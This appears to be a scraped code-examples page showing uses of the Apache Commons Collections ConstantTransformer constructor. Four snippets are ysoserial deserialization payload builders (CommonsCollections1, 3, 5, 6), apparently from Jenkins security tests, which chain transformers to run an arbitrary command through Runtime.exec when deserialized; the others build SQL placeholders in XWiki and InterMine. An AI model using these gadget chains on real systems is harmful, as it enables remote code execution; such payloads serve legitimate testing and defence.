Example usage for org.apache.commons.collections.functors ConstantTransformer ConstantTransformer

List of usage examples for org.apache.commons.collections.functors ConstantTransformer ConstantTransformer

Introduction

In this page you can find the example usage for org.apache.commons.collections.functors ConstantTransformer ConstantTransformer.

Prototype

public ConstantTransformer(Object constantToReturn) 

Source Link

Document

Constructor that performs no validation.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections3.java

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections1.java

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain   

    return handler;
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections6.java

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;/*from   w ww  . ja  v a  2 s .c om*/
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[0];
    if (node == null) {
        node = array[1];
    }

    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    keyField.setAccessible(true);
    keyField.set(node, entry);

    return map;

}

From source file:com.xpn.xwiki.plugin.watchlist.WatchListEventFeedManager.java

/**
 * @param user user to get the RSS feed for
 * @param entryNumber number of entries to retrieve
 * @param context the XWiki context/*from ww w.  ja v a 2s.c om*/
 * @return The watchlist RSS feed for the given user
 * @throws XWikiException if the retrieval of RSS entries fails
 */
@SuppressWarnings("unchecked")
public SyndFeed getFeed(String user, int entryNumber, XWikiContext context) throws XWikiException {
    List<String> wikis = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.WIKI, context);
    List<String> spaces = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.SPACE, context);
    List<String> documents = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.DOCUMENT,
            context);
    List<Object> parameters = new ArrayList<Object>();
    ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream",
            context);

    parameters.addAll(wikis);
    parameters.addAll(spaces);
    parameters.addAll(documents);

    Transformer transformer = new ConstantTransformer("?");
    List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    wikisPlaceholders.addAll(wikis);
    List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    spacesPlaceholders.addAll(spaces);
    List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    documentsPlaceholders.addAll(documents);

    String listItemsJoint = ",";
    String concatWiki = " or concat(act.wiki,'";
    String query = "1=0";
    if (!wikis.isEmpty()) {
        query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')';
    }
    if (!spaces.isEmpty()) {
        query += concatWiki + WatchListStore.WIKI_SPACE_SEP + "',act.space) in ("
                + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')';
    }
    if (!documents.isEmpty()) {
        query += concatWiki + WatchListStore.WIKI_SPACE_SEP + "',act.page) in ("
                + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')';
    }
    List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters);

    SyndFeed feed = asApi.getFeed(events);
    setFeedMetaData(feed, context);

    return feed;
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections5.java

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);/*from   ww  w.ja v a2  s  . c o m*/
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return val;
}

From source file:org.intermine.api.profile.StorableBag.java

/**
 * Delete a given set of bag values from the bag value table. If an empty list is passed in,
 * no values will be deleted. If null is passed in all values will be deleted.
 * @param values The values to delete. <code>null</code> is understood
 *               as <code>ALL VALUES.</code>.
 *///from  w  w  w  .  ja v  a2s  .  c  om
protected void deleteSomeBagValues(final List<String> values) {
    Connection conn = null;
    PreparedStatement stm = null;
    ObjectStoreWriter uosw = getUserProfileWriter();
    List<String> clauses = new ArrayList<String>(Arrays.asList("savedBagId = ?"));

    if (values != null) {
        Collection<String> placeHolders = CollectionUtils.collect(values, new ConstantTransformer("?"));
        String valuesList = StringUtils.join(placeHolders, ", ");
        if (!valuesList.isEmpty()) {
            clauses.add("value IN (" + valuesList + ")");
        }
    }

    try {
        conn = ((ObjectStoreWriterInterMineImpl) uosw).getConnection();
        String sql = "DELETE FROM " + InterMineBag.BAG_VALUES + " WHERE " + StringUtils.join(clauses, " AND ");
        stm = conn.prepareStatement(sql);
        stm.setInt(1, savedBagId);
        for (int i = 0; values != null && i < values.size(); i++) {
            stm.setString(i + 2, values.get(i));
        }
        stm.executeUpdate();
    } catch (SQLException sqle) {
        throw new RuntimeException("Error deleting the " + (values == null ? "" : values.size() + " ")
                + "bagvalues of bag : " + savedBagId, sqle);
    } finally {
        if (stm != null) {
            try {
                stm.close();
            } catch (SQLException e) {
                throw new RuntimeException("Problem closing resources", e);
            }
        }
        ((ObjectStoreWriterInterMineImpl) uosw).releaseConnection(conn);
    }
}

From source file:org.xwiki.watchlist.internal.DefaultWatchListEventFeedManager.java

@Override
@SuppressWarnings("unchecked")
public SyndFeed getFeed(String user, int entryNumber) throws XWikiException {
    XWikiContext context = contextProvider.get();

    Collection<String> wikis = store.getWatchedElements(user, WatchedElementType.WIKI);
    Collection<String> spaces = store.getWatchedElements(user, WatchedElementType.SPACE);
    Collection<String> documents = store.getWatchedElements(user, WatchedElementType.DOCUMENT);
    List<Object> parameters = new ArrayList<Object>();
    ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream",
            context);/*from   ww w .j av a  2s .  c om*/

    parameters.addAll(wikis);
    parameters.addAll(spaces);
    parameters.addAll(documents);

    Transformer transformer = new ConstantTransformer("?");
    List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    wikisPlaceholders.addAll(wikis);
    List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    spacesPlaceholders.addAll(spaces);
    List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
    documentsPlaceholders.addAll(documents);

    String listItemsJoint = ",";
    String concatWiki = " or concat(act.wiki,'";
    String query = "1=0";
    if (!wikis.isEmpty()) {
        query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')';
    }
    if (!spaces.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.space) in ("
                + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')';
    }
    if (!documents.isEmpty()) {
        query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.page) in ("
                + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')';
    }
    List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters);

    SyndFeed feed = asApi.getFeed(events);
    setFeedMetaData(feed, context);

    return feed;
}